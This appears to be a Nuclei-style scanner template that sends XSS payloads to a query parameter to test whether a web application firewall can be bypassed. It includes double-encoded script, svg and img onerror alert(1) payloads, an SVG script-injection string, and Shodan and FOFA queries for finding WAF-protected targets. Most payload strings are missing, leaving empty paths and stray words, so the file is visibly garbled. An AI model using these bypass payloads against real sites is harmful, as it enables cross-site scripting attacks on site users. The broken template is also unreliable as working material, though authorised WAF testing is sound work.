id: waf-xss-evasion-bypass info: name: WAF XSS Evasion Techniques author: waftester severity: high description: | Tests XSS bypass using advanced evasion techniques from real-world WAF bypass research. Includes HTML entity encoding, case manipulation, tag mutation, event handler obfuscation, protocol tricks, template literals, Function constructor abuse, DOM clobbering, SVG namespace confusion, and WAF-vendor-specific XSS bypass techniques. reference: - https://owasp.org/www-community/attacks/xss/ - https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html - https://github.com/0xInfection/Awesome-WAF - https://html5sec.org/ - https://portswigger.net/web-security/cross-site-scripting/cheat-sheet tags: xss,waf,bypass,evasion,tamper,waftester classification: cwe-id: - CWE-79 - CWE-693 - CWE-116 metadata: verified: true max-request: 28 shodan-query: "http.waf" fofa-query: "header=\"WAF\"" http: # HTML entity encoding - decimal and hex - method: GET path: - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=click" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406 && status_code != 429" - type: word part: body words: - "403" - "Forbidden" - "blocked" - "Request Rejected" negative: true condition: or # Case manipulation and tag mutation - method: GET path: - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406" - type: word part: body words: - "403" - "Forbidden" - "blocked" negative: true condition: or # Exotic event handlers - uncommon handlers that bypass keyword filters - method: GET path: - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=
hover
" - "{{BaseURL}}/?q=
click
" - "{{BaseURL}}/?q=
drag
" - "{{BaseURL}}/?q=
" - "{{BaseURL}}/?q=
" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406" - type: word part: body words: - "403" - "Forbidden" - "blocked" negative: true condition: or # JavaScript alternative invocation - bracket notation, template literals - method: GET path: - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406" - type: word part: body words: - "403" - "Forbidden" - "blocked" negative: true condition: or # Protocol obfuscation - whitespace and encoding in javascript: URIs - method: GET path: - "{{BaseURL}}/?q=click" - "{{BaseURL}}/?q=click" - "{{BaseURL}}/?q=click" - "{{BaseURL}}/?q=click" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406" - type: word part: body words: - "403" - "Forbidden" - "blocked" negative: true condition: or # SVG-based evasion - method: GET path: - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=</desc><script>alert(1)</script>" - "{{BaseURL}}/?q=" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406" - type: word part: body words: - "403" - "Forbidden" - "blocked" negative: true condition: or # Double encoding - method: GET path: - "{{BaseURL}}/?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E" - "{{BaseURL}}/?q=%253Csvg%2520onload%253Dalert(1)%253E" - "{{BaseURL}}/?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406" - type: word part: body words: - "403" - "Forbidden" - "blocked" negative: true condition: or # Function constructor and eval alternatives - method: GET path: - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406" - type: word part: body words: - "403" - "Forbidden" - "blocked" negative: true condition: or # Null byte and comment injection - method: GET path: - "{{BaseURL}}/?q=alert(1)" - "{{BaseURL}}/?q=" - "{{BaseURL}}/?q=" matchers-condition: and matchers: - type: dsl dsl: - "status_code != 403 && status_code != 406" - type: word part: body words: - "403" - "Forbidden" - "blocked" negative: true condition: or